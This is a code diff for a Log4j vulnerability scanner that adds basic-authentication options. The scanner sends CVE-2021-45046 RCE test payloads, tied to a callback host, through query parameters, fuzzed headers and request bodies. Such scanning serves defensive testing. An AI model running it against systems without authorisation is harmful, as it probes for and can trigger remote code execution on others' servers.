2323from Crypto .PublicKey import RSA
2424from Crypto .Hash import SHA256
2525from termcolor import cprint
26+ from requests .auth import HTTPBasicAuth
2627
2728# Disable SSL warnings
2829try :
@@ -115,6 +116,14 @@ def parse_args(args_input):
115116 dest = "disable_redirects" ,
116117 help = "Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have higher chance of reaching vulnerable systems." ,
117118 action = 'store_true' )
119+ parser .add_argument ("--basic-auth-user" ,
120+ dest = "basic_auth_user" ,
121+ help = "Preemptive basic authentication user." ,
122+ action = 'store' )
123+ parser .add_argument ("--basic-auth-password" ,
124+ dest = "basic_auth_password" ,
125+ help = "Preemptive basic authentication password." ,
126+ action = 'store' )
118127
119128 return parser .parse_args (args_input )
120129
@@ -279,12 +288,17 @@ def scan_url(url, callback_host, proxies, args):
279288 cprint (f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)" , "yellow" )
280289 payloads = get_cve_2021_45046_payloads (f'{ parsed_url ["host" ]} .{ callback_host } ' , random_string )
281290
291+ auth = None
292+ if args .basic_auth_user :
293+ auth = HTTPBasicAuth (args .basic_auth_user , args .basic_auth_password )
294+
282295 for payload in payloads :
283296 cprint (f"[•] URL: { url } | PAYLOAD: { payload } " , "cyan" )
284297 if args .request_type .upper () == "GET" or args .run_all_tests :
285298 try :
286299 requests .request (url = url ,
287300 method = "GET" ,
301+ auth = auth ,
288302 params = {"v" : payload },
289303 headers = get_fuzzing_headers (payload , args .headers_file , args .exclude_user_agent_fuzzing ),
290304 verify = False ,
@@ -299,6 +313,7 @@ def scan_url(url, callback_host, proxies, args):
299313 # Post body
300314 requests .request (url = url ,
301315 method = "POST" ,
316+ auth = auth ,
302317 params = {"v" : payload },
303318 headers = get_fuzzing_headers (payload , args .headers_file , args .exclude_user_agent_fuzzing ),
304319 data = get_fuzzing_post_data (payload ),
@@ -313,6 +328,7 @@ def scan_url(url, callback_host, proxies, args):
313328 # JSON body
314329 requests .request (url = url ,
315330 method = "POST" ,
331+ auth = auth ,
316332 params = {"v" : payload },
317333 headers = get_fuzzing_headers (payload , args .headers_file , args .exclude_user_agent_fuzzing ),
318334 json = get_fuzzing_post_data (payload ),
0 commit comments